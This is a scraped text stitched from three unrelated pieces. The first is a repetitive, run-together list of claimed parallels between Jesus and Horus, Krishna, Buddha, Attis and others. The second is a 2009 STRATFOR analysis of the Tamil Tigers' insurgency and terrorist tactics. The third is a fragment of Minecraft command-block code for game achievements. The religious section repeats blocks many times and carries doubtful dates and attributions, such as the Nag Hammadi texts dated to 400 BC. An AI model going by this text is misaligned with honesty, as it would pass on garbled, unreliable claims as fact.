(2000 BC) by Richard H. Wilkinson, Osiris' Death and Resurrection was celebrated in a 5 day festival known as the "Passion Plays". He is entombed on the 2nd day, and remains so until the 4th day (***3 DAYS***). Afterwards, on the 5th day he is reborn AT DAWN. This is why Horus represented the sun's *rising* position, whereas Osiris represented the sun's *setting* position; Horus is symbolic of Osiris' resurrection/rebirth.
■Horus: 3 Day Death and Resurrection Con't (1)
Pyramid Texts Utterance 667
1941b. "this hour of the morning of this ****THIRD DAY*** is come, when thou surely passet on to heavean, together with the stars, imperishable stars"
Utterance 556
1382f. "this hour of the ****THIRD DAY*** comes, where the father Osiris will be reborn as Horus, at the place where the gods are born
■Horus: Walking on Water
Horus is referred to as LAKE STRIDER in the Pyramid Texts
The Ancient Egyptian Pyramid Texts, James P. Allen Pages 118, 154
The Ancient Egyptian Pyramid Texts, R O Faulkner Page 192
■Horus: Star in the East
The Ancient Egyptian Pyramid Texts (Translated by R.O Faulkner)
"You are this LONE STAR that comes forth from the EAST of the sky, and who will surrender himself to Horus of the Netherworld..."
■Horus: Morning Star
Jesus refers to himself as the "Morning Star" in Revelations 22:16: I am the root and offspring of David, and the bright ***MORNING STAR***
Pyramid Texts Translated by RO Faulkner: "O MORNING STAR, Horus of the Dlet, divine falcon, widwid-bird whom the sky bore..."
Book of the Dead Chapter 109 "I know the souls of the easterners, they are Horakty (Horus of the horizons), the sun calf, and the ***MORNING STAR***
■Horus: Sinless
Metternich Stele 400BC
"She sought advice from Serqet, as the authority on scorpions, and then appealed to gods, and Ra in particular, with these words: Horus has been stung. O Ra; your son Horus has been stung WHO IS WITHOUT SIN"
The Book of the Dead: The Book of Going Forth by Day By RO Faulkner, Carol Andrews, James Wasserman Page 103
29A " I m Horus who is in hearts....I have commited no sins against the gods and nothing shall be deducted from my vindication.
■Horus: Salvation and Redemption
Death and Salvation in Ancient Egypt by Jan Assman (egyptologist)
Page 38 "Horus, the son, was responsible for the aspect of redemption from death."
Page 58 "I am one of you, Salvation from Death through inclusion."
■Horus: Trinity
The egyptians deified the sun as a trinity of gods -- Osiris, the Father, Horus, the Son, and Ra, the Highest Sun -- each corresponding to at least one of the sun's 3 key positions throughout the day. Osiris represented the *setting* sun and is reborn as horus the *rising* sun. Ra, who alone represented the *mid-day* sun completes the trinity as "Ra-Horakty" (translates to "Ra who is Horus of the Two Horizons") the conflation of all three gods and positions of the sun. Horus=Osir Exactly anyone with honesty or one that is not a "shill" can see thathere´s some of the parralles of christianity (a lot of them comes from pre-christian sources that can be verified in scriptures)· Hinduism: Virgin MotherThe verse below states that Krishna was concieved through mental transmission rather than sex..."Thereafter accompanied by plenary expansions the fully opulent Supreme Personality of Godhead, Krishna, was TRANSFERRED FROM THE MIND OF VASUDEVA TO THE MIND OF DEVAKI. Devaki having thus been initiated by Vasudeva became beautiful by carrying Lord Krishna within the core of her heart and womb."[Srimad Bhagavatam Canto 10 Chapter 2 Line 18]■Hinduism: Virgin Mother Con't (1)In the VISHNU PURANA BOOK V CHAPTER 2 the first verse states quote:"The nurse of the universe, Jaggadhatri, thus enjoined by the god of gods, CONVEYED SIX SEVERAL EMBRYOS into the womb of Devaki, and the SEVENTH ONE, after a season into Rohini's womb."None of Devaki's children were concieved through sex.■Hinduism: Virgin Mother Con't (2)According to the Srimad Bhagavatam, Vishnu chose Devaki and Vasudeva because they lived the most non-sensual, austere lives. It states that they endured aeons of "TAPASYA" or "MORTIFICATION" (no sex or material indulgences -- extreme self-discipline). Furthermore, they could not give birth to Krishna in their PAST LIVES due to having sex just once (gramya-dharma or gramya-bhogan). Instead they gave birth to Pris'nigarbha, an incomplete Krishna.c"■Hinduism: Star in the East Con't (1)As a matter of fact, the hindus even have an astrotheology for this alignment. According to the Rig Veda (1700 BC), Rohini's father, Prajapati (Orion), had an incestuous affair with her. When the order was given to execute him for this, Sirius (the Archer) shoots him with an arrow. The three stars on Orion's Belt represent the arrow with which he was shot■Buddhism: Virgin Mother1. Buddhacarita, Asvaghosa. Translated by Conze, E. (1959), [Buddhist Scriptures]"One day she concieved the fruit of her womb but without any DEFILEMENT (SEX)"2. (The Life of Buddha Chapter 1)"My Lord I ask you to respect my austere life. Do not enter the dim forest of desire; allow me to observed the HOLY LAW OF ABSTINENCE."Con't...■Buddhism: Virgin Mother Con't (1)3. (English translation of the Buddha-karita of Asvaghosa by E.B Cowell, F. Max Muller and J. Takakusu, Book 1 Verse 19-20) "Then falling from the host of being in the Tushita heaven...the most excellent of bodhisatvas suddenly ENTERED A THOUGHT WITHIN HER WOMB."4. (The Gospels of Buddha Chapter 4) "As the Queen of Heaven she lived on Earth UNTAINTED BY DESIRE AND IMMACULATE■Buddhism: Star in the EastIn the Buddha Karita of Asvaghosa translated by E.B Cowell, F Max Muller and J. Takakusu Book 1 Verse 25 it states: "At the time the CONSTELLATION PUSHYA was auspicious, and from the side of the queen who was purified by her vow her son was born for the welfare of the world" (Book 1 Verse 25)The Constellation Pushya was given the title TISHYA, and in various traditions, Sirius, the Star in the East, shares the same title.■Buddhism: Walking on WaterFrom "The Gospels of Buddha" chapter titled "Walking on Water""This stream shall not prevent me. I shall go and see the Blessed One, AND HE STEPPED UPON THE WATER WHICH WAS FIRM UNDER HIS FEET LIKE A SLAB OF GRANITE"Here's another buddhist scripture featuring "water walking""HE WALKS ON WATER without dividing it, as if on solid ground"Digha Nikaya Chapter 11 (29 B.C)■Dionysis: December 25thBrumalia was an ancient roman solstice festival honouring Dionysis, generally held on December 25th. The festivals included drinking and merriment. The name was derived from the latin word "bruma", which means "shortest day". In the roman festivals, the Brumalia was a feast of Bacchus, celebrated during tthe space of 30 days, commencing on November 24th■Dionysis: Virgin Mother, Death and ResurrectionHYGINUS FABULAE 167 (1st Century BC)"Dionysis was dismembered by the Titans, and Zeus gave his heart torn to bits to Semele in a drink. When she was made pregnant by this, Juno, changing herself to look like Semele's nurse, said to her: Daughter, ask Zeus to come to you as he comes to Juno, so you may know what pleasure it is to sleep with a god (NEVER KNEW SEX) At her suggestion Semele made this request and was stricken with a thunderbolt."■Attis: 3 Day Death and Resurrection■Hilaria was an Ancient Roman solstice festival honouring Attis. It began on EASTER and laster for 7 days. On the first day of the festival attis' death is mourned and commemorated.3 DAYS LATER his resurrection is celebrated. Attis: Virgin Mother"Zeus let fall in his sleep seed upon the ground, which in the course of time sent up a demon, with two sexual organs, male and female. They called the demon agdistis. But the gods, fearing Agdistis, cut off the male organ. There grew up from it an almond-tree with it's fruit ripe, and a daughter of the river Sangarious (NANA) took the fruit and laid it in her bosom. When it at once disappeared she was with a child (Attis)"[Hermesniax 330 B.C]■Attis: Virgin Mother Con't (1)Attis' Mother, Nana, is a pagan incarnation of sumerian VIRGIN GODDESSES, NANA AND INANA.PROBERTS ENCYCLOPEDIA: "In Sumerian mythology, Nana was a VIRGIN MOTHER goddess of the spirit of vegetation and infertility, a beloved consort of kings."A mythical fragment in a hymn cycle to Inana reads:10-22 "My lady, on your aquiring the stature of Heaven, VIRGIN Inana."22-24 "I shall praise the lady of battle, the great child of Suen, VIRGIN Inana."■Mithra: Virgin Mother"Aruru thought of Anu. Then she wet her creative fingers, FASHIONED A ROCK, tossed it as far as she could into the woods. Thus she FATHERED Enkidu."[Epic of Gilgamesh 2150-2000BC]Mithra is called "Theos ek Petras' or "God from the Rock' because he is another version of Enkidu who was born from the rock created by the mother goddess, Aruru. The mithraic equivalent of Aruru is the Virgin Anahita / mother goddess.■Shaktism: Virgin Mother"Surya, the SUN, then said: O Beautiful Kunti! IF YOU SATISFY ME YOUR VIRGINITY WILL REMAIN; nobody will come to know and THERE WILL BE BORN A SON TO YOU exactly like me."(Devi Bhagavatam, The Second Book, Chapter 6, On the Birth of Pandavas, Lines 13-35]■Gilgamesh: Virgin Mother"Child of Lugal Banda's wife and some great force. Gilgamesh is the finest child of ninsun; who NEVER LET A MAN TOUCH HER, indeed so pure and heavenly, so without sin."[Epic of Gilgamesh Tablet 1]"Gilgamesh awoke with fear in his heart. Gilgamesh cried out and arose. Gilgamesh went to his mother VIRGIN Lady, Ninsun."[Epic of Gilgamesh Tablet 2]■Krishna: Crucified on a TreeSrimad BhagavatamCanto 11Chapter 30Verse 27-33"Seeing that Rama had left, Krishna finding a pippala TREE, sat silently down on the lap of the earth...Having the form of a deers face, HIS FEET WERE THEN PIERCED by an arrow of a hunter named Jara who thought he saw a deer."■Horus: Crucified on a TreeThe Egyptian Book of the Dead (Ani Papyrus, RO Faulkner, pl.1) shows Horus spectacled in cruciform (arms outstretched) on the ANKH CROSS and DJED PILLAR / TREE TRUNK (containing his dead body...osiris' body). The twins, Isis-Meri and Nephtys-Meri are at the feet of the figure, just as the two sister Marys (+ Magdaline) in jonh 19:15. The Ankh Cross is the key to Eternal Life that Horus/Osiris achieves for his follower through death.■Horus: Crucified on a Tree Con't (1)In numerous bibical verses, jesus is said to have died on a tree while tradition holds that it happened on a cross. Esoterically, this tree/cross discrepancy is meant to symbolize the Djed Tree and Ankh Cross from Horus and Attis'■Jesus: Crucified on a Tree"Christ hath redeemed us from the curse of law, being made a curse for us: for it is written, cursed is everyone that hangeth on a TREE" (Gal 3:13)"Jesus bore our sins in his own body on the TREE, that we, being dead to sins, should live unto righteousness: by whose stripes ye were healed."(1 Peter 2:24)■Jesus: Crucified on a Tree Con't (1)"The god of our father raised up, who ye slew and hanged up on a TREE.""And we are witnesses of the things which jesus did both in the land of the jews, and in Jerusalem; who ye slew and hanged on a TREE (Acts 10:39)"And they had fulfilled all that was written on him, they took jesus down from the TREE and laid him in a sepulchre." (Acts 13:29)■Jesus: Crucified on a Tree Con't (1)"The god of our father raised up, who ye slew and hanged up on a TREE.""And we are witnesses of the things which jesus did both in the land of the jews, and in Jerusalem; who ye slew and hanged on a TREE (Acts 10:39)"And they had fulfilled all that was written on him, they took jesus down from the TREE and laid him in a sepulchre." (Acts 13:29)■Horus: Virgin Mother Con't (1)Isis/Virgo depiction:"Lady of Green Crops, Lady of Bread, Lady of Abundance..." -- Book of the Dead"It is Sirius (Isis) the beloved daughter, who provides the YEARLY SUSTENANCE (flooding of the Nile for crops) for you in her name of "Year" -- Pyramid Texts"Sirius (Isis) is the opener of the Year's flood, yeilding crops"All of the above depictions of Isis refer to Harvest, which is why the Greeks designated their constellation of Harvest a VIRGIN GODDESS■Horus: Virgin Mother Con't (1)Isis/Virgo depiction:"Lady of Green Crops, Lady of Bread, Lady of Abundance..." -- Book of the Dead"It is Sirius (Isis) the beloved daughter, who provides the YEARLY SUSTENANCE (flooding of the Nile for crops) for you in her name of "Year" -- Pyramid Texts"Sirius (Isis) is the opener of the Year's flood, yeilding crops"All of the above depictions of Isis refer to Harvest, which is why the Greeks designated their constellation of Harvest a VIRGIN GODDESS■Horus: Virgin Mother Con't (1)Isis/Virgo depiction:"Lady of Green Crops, Lady of Bread, Lady of Abundance..." -- Book of the Dead"It is Sirius (Isis) the beloved daughter, who provides the YEARLY SUSTENANCE (flooding of the Nile for crops) for you in her name of "Year" -- Pyramid Texts"Sirius (Isis) is the opener of the Year's flood, yeilding crops"All of the above depictions of Isis refer to Harvest, which is why the Greeks designated their constellation of Harvest a VIRGIN GODDESS■Horus: Virgin Mother Con't (3)Inscription at the Abydos Temple of Seti I: Isis declares: "I am the Great VIRGIN (hwn.t)""Dictionary of Deities and Demons in the Bible": "In Egypt the epiteths dd.t, rnn.t and HWN.T, 'girl; young woman; VIRGIN, are applied to many goddesses e.g Hathor and -- ISIS WHO HAD NOT HAD SEXUAL INTERCOURSE"Karel van der Toorn PhD, Bob Becking PhD, Pieter w. van der Horst PhD, Erik Horunung PhD, Hans Dieter Betz PhD, Andre Caquot PhD, Jonas C Greenfield PhD...■Horus: Virgin Mother Con't (4)Isis Temple at Sais: "The present and future and past, I am. ***MY UNDERGARMENT NO ONE HAS UNCOVERED***. The fruit that I brought forth is the sun (horus) came into being."■Horus: Virgin Mother Con't (5)Nag Hammadi (400BC): "Im am the first and the last, I am the venerated and the despised one I am the prostitute and the saint. I am the bride and the *****VIRGIN*****. I am the mother and the daughter. I am my mother's arms, I am the married woman and the unmarried one. I and She who gives birth and She who has never given birth. I am the consolation for the pains of childbirth. I am my father's Mother, I am my husband's sister. AND HE IS MY REJECTED SON."■Horus: 12 ApostlesBook of GatesChapter 3The Gate of Saa-SetThe Second Division of TuatNote: Ra was a solar deity representing the sun's *mid-day* position while Horus represented the sun's *rising* position. By the time of the Book of Gates, Ra had already merged with Horus to represent both positions.The Book of Gates states: "The 12 worshippers of Ra/Horus who are at peace...They who praised Ra/Horus upon Earth...They who spread Truth upon Earth on Ra/Horus' behalf■Horus: ExorcismThe Book of Gates Chapter 3 states that these 12 worshippers of Ra/Horus who spread Truth upon Earth on his behalf, also exorcised demonic spirits: "They who uttered words of power against the SERPENT...and have vanquished the SERPENT in my name"jesus' 12 followers who were commissioned to spread the word of christ were also instructed to exorcise demonic spirits in the name of christ.■Horus: Baptism"Raise yourself, my father, recieve these your Four pleasant provision-jarsbathe in the Lake of Anubis (Anup), be cleansed in the Lake of the Netherworld." -- Pyramid Texts 512■Horus: EucharistIn Chapter 5 of the Book of Gates, Horus is said to have a separate group of 12 in his service, to whom he tells "Live delicatley on the BREAD of HU, and drink ye the Ale of Maat". This ale is later referred to as the "Tchersert Drink" which translates to "Divine Drink". This concept is reworked in the NT when jesus offers 12 of his followers his body in the form of BREAD and his divine blood in the form of WINE during the Eucharist.■Horus: Baptism + EucharistBook of GatesChapter 5The Gate of TchetbiFourth Division of Tuat12 anubis headed gods say unto Ra/Horus: -- "Immerse thyself, O Ra, in the holy lake wherein the lord of the gods immersed himself, whereuto the souls of the dead approach not; this is why thou thyself has commanded. O KHUTI... Their food consisteth of *****BREAD***** their vessels are filled with■Horus: Teacher at Age 12The Second Story of Khamuas (400 BC) Griffith, F. LI, Stories of the High Priest of Memphis; The Sethon of Herodotus and the Demotic Tales of KhamuasPage 43 Si-Osiris (Horus, Son of Paneche). Numerous are the marvels that he shall do in EgyptI would cast up my magic up to Egypt that I might cause the people of Egypt to pass three days and nights without seeing light except kiki"I will not remove my spell, until you have sworn an oath to me not to return to Egypt■Horus: Teacher at Age12 Con't (2)Second Story of Khamuas Con't: PAGE 50 "Now when the boy Si-Osiris (son of Osiris) had attained ---******12 YEARS***** it came to pass that there was no good scribe or learned man that rivalled him in reading and writing that compels."■Horus: 3 Day Death and ResurrectionAccording to the Ikhernfret Stela (2000BC) Osiris' Death and Resurrection was celebrated in a 5 day festival known as the "Passion Plays". He is entombd on the 2nd day, and remains so until the 4th day (***3 DAYS****). Afterwards, on the last day of the festival he is reborn AT DAWN. This is why Horus represented the sun's *rising* position, whereas Osiris represented the sun's *setting* position; Horus is symbolic of Osiris' resurrectoin/rebirth.■Horus: Annointed OnePyramid Texts Utterance 7752.a Oil Oil arise open thou; (thou) who art on the forehead of Horus, arise, open thou.52.b Thou who art on the forehead of Horus, put thyself on the forehead of this N. (pharoah)52c. Make him sweet with thyself (PERFUMED OIL); glorify him with thyself■Horus: Annointed OnePyramid Texts Utterance 7752.a Oil Oil arise open thou; (thou) who art on the forehead of Horus, arise, open thou.52.b Thou who art on the forehead of Horus, put thyself on the forehead of this N. (pharoah)52c. Make him sweet with thyself (PERFUMED OIL); glorify him with thyselfHorus: 3 Day Death and ResurrectionAccording to the Ikhernofret Stela (2000 BC) by Richard H. Wilkinson, Osiris' Death and Resurrection was celebrated in a 5 day festival known as the "Passion Plays". He is entombed on the 2nd day, and remains so until the 4th day (***3 DAYS***). Afterwards, on the 5th day he is reborn AT DAWN. This is why Horus represented the sun's *rising* position, whereas Osiris represented the sun's *setting* position; Horus is symbolic of Osiris' resurrection/rebirth.■Horus: 3 Day Death and Resurrection Con't (1)Pyramid Texts Utterance 6671941b. "this hour of the morning of this ****THIRD DAY*** is come, when thou surely passet on to heavean, together with the stars, imperishable stars"Utterance 5561382f. "this hour of the ****THIRD DAY*** comes, where the father Osiris will be reborn as Horus, at the place where the gods are born■Horus: Walking on WaterHorus is referred to as LAKE STRIDER in the Pyramid TextsThe Ancient Egyptian Pyramid Texts, James P. Allen Pages 118, 154The Ancient Egyptian Pyramid Texts, R O Faulkner Page 192■Horus: Star in the EastThe Ancient Egyptian Pyramid Texts (Translated by R.O Faulkner)"You are this LONE STAR that comes forth from the EAST of the sky, and who will surrender himself to Horus of the Netherworld..."■Horus: Morning StarJesus refers to himself as the "Morning Star" in Revelations 22:16: I am the root and offspring of David, and the bright ***MORNING STAR***Pyramid Texts Translated by RO Faulkner: "O MORNING STAR, Horus of the Dlet, divine falcon, widwid-bird whom the sky bore..."Book of the Dead Chapter 109 "I know the souls of the easterners, they are Horakty (Horus of the horizons), the sun calf, and the ***MORNING STAR***■Horus: SinlessMetternich Stele 400BC"She sought advice from Serqet, as the authority on scorpions, and then appealed to gods, and Ra in particular, with these words: Horus has been stung. O Ra; your son Horus has been stung WHO IS WITHOUT SIN"The Book of the Dead: The Book of Going Forth by Day By RO Faulkner, Carol Andrews, James Wasserman Page 10329A " I m Horus who is in hearts....I have commited no sins against the gods and nothing shall be deducted from my vindication.■Horus: Salvation and RedemptionDeath and Salvation in Ancient Egypt by Jan Assman (egyptologist)Page 38 "Horus, the son, was responsible for the aspect of redemption from death."Page 58 "I am one of you, Salvation from Death through inclusion."■Horus: TrinityThe egyptians deified the sun as a trinity of gods -- Osiris, the Father, Horus, the Son, and Ra, the Highest Sun -- each corresponding to at least one of the sun's 3 key positions throughout the day. Osiris represented the *setting* sun and is reborn as horus the *rising* sun. Ra, who alone represented the *mid-day* sun completes the trinity as "Ra-Horakty" (translates to "Ra who is Horus of the Two Horizons") the conflation of all three gods and positions of the sun. Horus=OsirBy Fred Burton and Scott Stewart Sri Lankan Prime Minister Ratnasiri Wickremanayake told parliament May 5 that he believes Liberation Tigers of Tamil Eelam leader Velupillai Prabhakaran is among the large group of Tiger militants trapped in a 4-square kilometer coastline area near Mullaitivu. The area around Mullaitivu has been the final focal point of a recent larger government military offensive aimed at restoring government control of northeast Sri Lanka and crushing the South Asian country's separatist rebels, who have controlled large parts of the region for the past several years. The Tigers' battlefield losses have been compounded by the severe disruption to their formerly extensive financial network (primarily concentrated among the Tamil diaspora in Western Europe and Canada) after the European Union placed the group on its terror list in 2006. This led to tightened sanctions by Europe, the United States and Canada against the Tigers, as well as greater international cooperation in arresting Tiger smuggling rings. Some of the Tigers' main financiers have since been arrested, and many of their assets have been frozen. It takes a lot of money and equipment to wage a conventional war, and those resources have become far harder for the Tigers to come by of late. As STRATFOR has previously noted, if Sri Lankan troops manage to crush the remnants of the Tigers' hard-pressed conventional military forces, the Tigers will have little choice but to give up on conventional warfare (at least for the time being). But the Tigers' separatist struggle is more than 30 years old and has been marked by great brutality on both sides. Because of this, there is very little chance the Tigers will simply accept defeat and fade into history. Instead, now that the government has the military advantage, the Tigers can be expected to continue their war against the government by melting back into the populace and resorting to guerrilla tactics and terrorism. In many ways, this will resemble events in Iraq and Afghanistan, where a militarily weaker force melted away in the face of a more powerful conventional military force. The Tigers, however, have a far more experienced and effective terrorist apparatus than either their Taliban or Iraqi counterparts. This struggle will therefore remain bloody in Sri Lanka (and perhaps even abroad). Background The Tigers are battling for the creation of an independent Tamil homeland for the country's 10-15 percent Tamil minority, the dominant ethnicity in northern and eastern Sri Lanka. The Tigers are struggling against the majority Sinhalese Buddhist-controlled government, which has fought the Tigers in a bloody civil war that has lasted nearly three and a half decades. Over the decades, the Tigers have developed an extremely sophisticated paramilitary organization. This force consists of not only ground forces (complete with artillery and even some armor), but also a sea wing that engages in arms smuggling and naval attacks against the Sri Lankan Navy — to include suicide boat attacks — a small air wing, and an elite force of militants trained to conduct assassinations and terrorist attacks known as the Black Tigers. The Black Tigers became famous for suicide bombings (one of which killed former Indian Prime Minister Rajiv Gandhi in 1991), and we are hard-pressed to think of another militant group that has assassinated as many VIPs, including several Cabinet ministers and numerous members of parliament, as have the Black Tigers. Last year alone, they killed a Sri Lankan member of parliament on Jan. 1, the minister for nation building on Jan. 8, and the highway minister on April 7. They also killed the Sri Lankan foreign minister in August 2005. (click image to enlarge) The Tigers' fortunes have fluctuated over the years. Several times they have brought large swathes of northern and eastern Sri Lanka under their exclusive control, only to lose them to government offensives, such as an offensive launched in January 2001. As mentioned, international pressures on their finances and logistics in recent years, plus the loss of the strategically significant Elephant Pass in January — formerly a key logistics hub for their resupply efforts and an important base for their naval efforts — mean the Tigers are now in an uphill battle for survival. Compounding the Tigers' woes, the government now is far better prepared, equipped and trained than it has been during previous military offensives. But despite being so hard-pressed and having taken such significant losses, there are no signs that the Tigers have lost the will to fight. They continue to hold out rather than surrender, and we have not seen news of desertions. The Tigers' material losses will be more difficult to overcome than their loss of personnel. They should be able to find new volunteers (or conscripts) among Sri Lanka's Tamil population. Their ability to recruit should be aided by the Sri Lankan military's policy of forcing Tamils into internment camps, something the Tigers also have leapt on as an international propaganda opportunity. Tiger militants are well-trained and are also subject to rigorous political indoctrination. With rare exception, the Tigers prefer to fight — or take their standard-issue cyanide capsules — and die rather than surrender. This willingness for self-sacrifice is best seen in the Black Tigers, which were early adopters of suicide bombing attacks and have been among the most frequent users of the tactic. The Black Tigers also have employed more female suicide bombers than any other group. (They used a female suicide operative in the Rajiv Gandhi assassination.) The Black Tigers reportedly have a waiting list of militants seeking to enter the unit — suicide bombers reportedly are held in almost mythical esteem by their ordinary Tiger colleagues — and Prabhakaran reportedly handpicks each member. Insurgency and Terror As seen from Iraq, Afghanistan and any number of historical examples, it is very difficult to eradicate an insurgency that can blend in with a sympathetic local population. Doing so is even harder when the insurgents can exploit international borders to create a place of refuge. Although Sri Lanka is an island, it is located very close to the coast of India. It lies just a few miles from the Indian state of Tamil Nadu, an Indian state that, as its name implies, has a substantial ethnic Tamil population. Some Indian Tamils are sympathetic to the Tigers, and the Tigers have established a sizable presence in Tamil Nadu. Sympathy in Tamil Nadu for the Tigers came into view May 5, 2009, when a large group of pro-Tiger Indian Tamil activists blocked a convoy of Indian army trucks in the city of Coimbatore because they believed the trucks were carrying supplies destined for the Sri Lankan military. The activists reportedly damaged and ransacked some of the trucks. Support in Tamil Nadu means that the Tigers can — and do — exploit the international border to their advantage. The Tigers use India in much the same way that the Taliban and al Qaeda use Pakistan. The Tigers' logistical and training infrastructure in India is especially important during times (like the present) when the Sri Lankan government is hammering them. The Tigers also have a long history of working with an array of other militant groups in India and the general region. This cooperation is not based on ideology, but rather on mutual benefit, such as bolstering the groups' ability to smuggle weapons and other goods. Another truism about insurgency is that it takes far fewer resources to sustain an insurgency than it does to fight a conventional war. The amount of ordnance expended in a single conventional battle can sustain months or even years of insurgent activity, especially if the insurgents can acquire ordnance from their enemy during their operations. Conducting terrorist attacks requires even fewer resources than insurgent attacks; terrorism is a cheap and time-tested means of hitting a militarily superior foe. When properly conducted, terrorist attacks are the ultimate exercise of asymmetrical warfare. For a militant group to effectively wield terrorism as an asymmetrical weapon, however, it must gain mastery of a range of tactical skills that we refer to as terrorist tradecraft. These skills include, among other things, the ability to operate without being detected, the ability to collect intelligence on potential targets, the ability to procure munitions, the ability to recruit operatives, the ability to plan effective strikes and the ability to construct reliable improvised explosives devices (IEDs). Through decades of trial and error, the Tigers have developed all of these skills, as evidenced by their large number of successful assassinations. In fact, they have a record of tactical success that would make any jihadist group green with envy. The Tigers excel at collecting intelligence, and their female operatives form a significant part of their intelligence apparatus, since they generally can travel more widely than males can and do not tend to arouse suspicions to the extent male operatives do. Female Tigers who are already willing to serve as suicide bombers not surprisingly have been willing to use seduction to obtain information critical to their cause. The group has also long demonstrated the ability to operate in the Sri Lankan capital, Colombo, as well as in other non-Tamil majority areas. And it has conducted scores of attacks against military, financial and political targets and civilian soft targets in non-Tamil areas. The group conducted five suicide bombings in Colombo alone in 2008, and several attacks against soft targets like passenger buses and commuter trains. The group also has a cadre of very polished and experienced bombmakers who make reliable and effective IEDs. Perhaps most spectacularly, the Tiger air wing launched a 9/11-inspired airborne suicide attack Feb. 20, in which their two remaining aircraft were loaded with explosives and sent out after dark on a suicide mission to attack Colombo. One of the planes was shot down, but the other plane reached the capital and struck the 12th floor of the 15-floor Inland Revenue Department, where it exploded — a scene captured by a Sri Lankan navy infrared camera and posted to YouTube. YouTube Video of Airborne Tiger Suicide Attack (STRATFOR is not responsible for the content of other Web sites.) It is thought that the Inland Revenue Department was not the intended target, but that the plane was hit by anti-aircraft fire and accidentally struck that building. According to Sri Lankan sources, the intended target may have been either the headquarters of the Sri Lankan air force, which is next to the building that was hit, or the president's house or army headquarters, which also are close by. The decision to use the remaining Tiger aircraft in this type of suicide operation against the government in Colombo rather than risk losing them to advancing government troops is a prime example of the Tigers' mind-set. Mayhem in the Forecast With the Tigers' air wing now apparently gone, further 9/11-style suicide planes are unlikely. The Tigers, however, will almost certainly plan more terrorist strikes. Such attacks will be seen as retaliation against the Sri Lankan government. They also will be used to hurt the economy (and thus the government's ability to finance its military efforts). And they will be used to force the government to divert troops from the northeast to provide security to other parts of the country, thus taking pressure off the Tamil heartland. The Tigers also have shown a limited cyberwarfare capability, which they can be expected to use to score propaganda points and wreak economic havoc when possible. In addition to assassinating VIPs and attacking passenger trains and buses, the Tigers have a long history of attacking villages and massacring Sinhalese Buddhist and Muslim civilians to foster a sense of terror. We anticipate that small Tamil units will resume operations to massacre civilians, in particular Sinhalese Buddhist and Muslim civilians. The Tigers also probably will attack crowds of civilians and commercial centers. We also anticipate assassination attempts to be launched against military and political VIPs in Colombo, and against local/regional leaders and military and police commanders in the northeast. Attacks against passenger trains and buses also can be expected. STRATFOR sources in Sri Lanka advise that the Tigers are likely to strike at the Yal Dev |
:{id:MinecartCommandBlock,Command:blockdata ~14 ~-1 ~1 {Command:"/execute @a[score_EndermiteKills_min=250,score_EndermiteKills=250] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" fifty levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~ ~-1 {Command:"/execute @a[score_EndermiteKills_min=250,score_EndermiteKills=250] ~ ~ ~ /give @p obsidian 1 0 {display:{Name:\\\"Endermite Liquidator\\\",Lore:[You have felled more than two-hundred fifty endermites!]},ench:[{id:21,lvl:4}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~3 ~ ~1 {Command:"/execute @a[score_EndermiteKills_min=250,score_EndermiteKills=250] ~ ~ ~ /scoreboard players add @p EndermiteKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~4 ~ ~1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /xp 5L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Ghast Slayer]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Ghast Slayer\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
twenty-five ghasts!\\\"]}}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~5 ~ ~1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /tellraw @p [\\\"\\\",{\\\"text\\\":\\\"You have been rewarded with\\\"},{\\\"text\\\":\\\" five levels\\\",\\\"color\\\":\\\"dark_green\\\"},{\\\"text\\\":\\\".\\\",\\\"color\\\":\\\"none\\\"}]"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /give @p gravel 1 0 {display:{Name:\\\"Ghast Slayer\\\",Lore:[You have felled more than twenty-five ghasts!]},ench:[{id:20,lvl:1}]}"},Riding:{id:MinecartCommandBlock,Command:blockdata ~6 ~ ~1 {Command:"/execute @a[score_GhastKills_min=25,score_GhastKills=25] ~ ~ ~ /scoreboard players add @p GhastKills 1"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /playsound random.levelup @p ~ ~ ~ 50"},Riding:{id:MinecartCommandBlock,Command:blockdata ~7 ~ ~1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /xp 10L @p"},Riding:{id:MinecartCommandBlock,Command:blockdata ~8 ~ ~-1 {Command:"/execute @a[score_GhastKills_min=50,score_GhastKills=50] ~ ~ ~ /tellraw @p [\\\"You have earned the achievement \\\",{text:\\\"[Ghast Butcher]\\\",color:dark_red,hoverEvent:{action:show_text,value:[{text:\\\"Ghast Butcher\\\
\\\",color:dark_red},{text:\\\"Achievement\\\
\\\",color:gold,italic:true},\\\"\\\\u00A7fYou have felled more than\\\
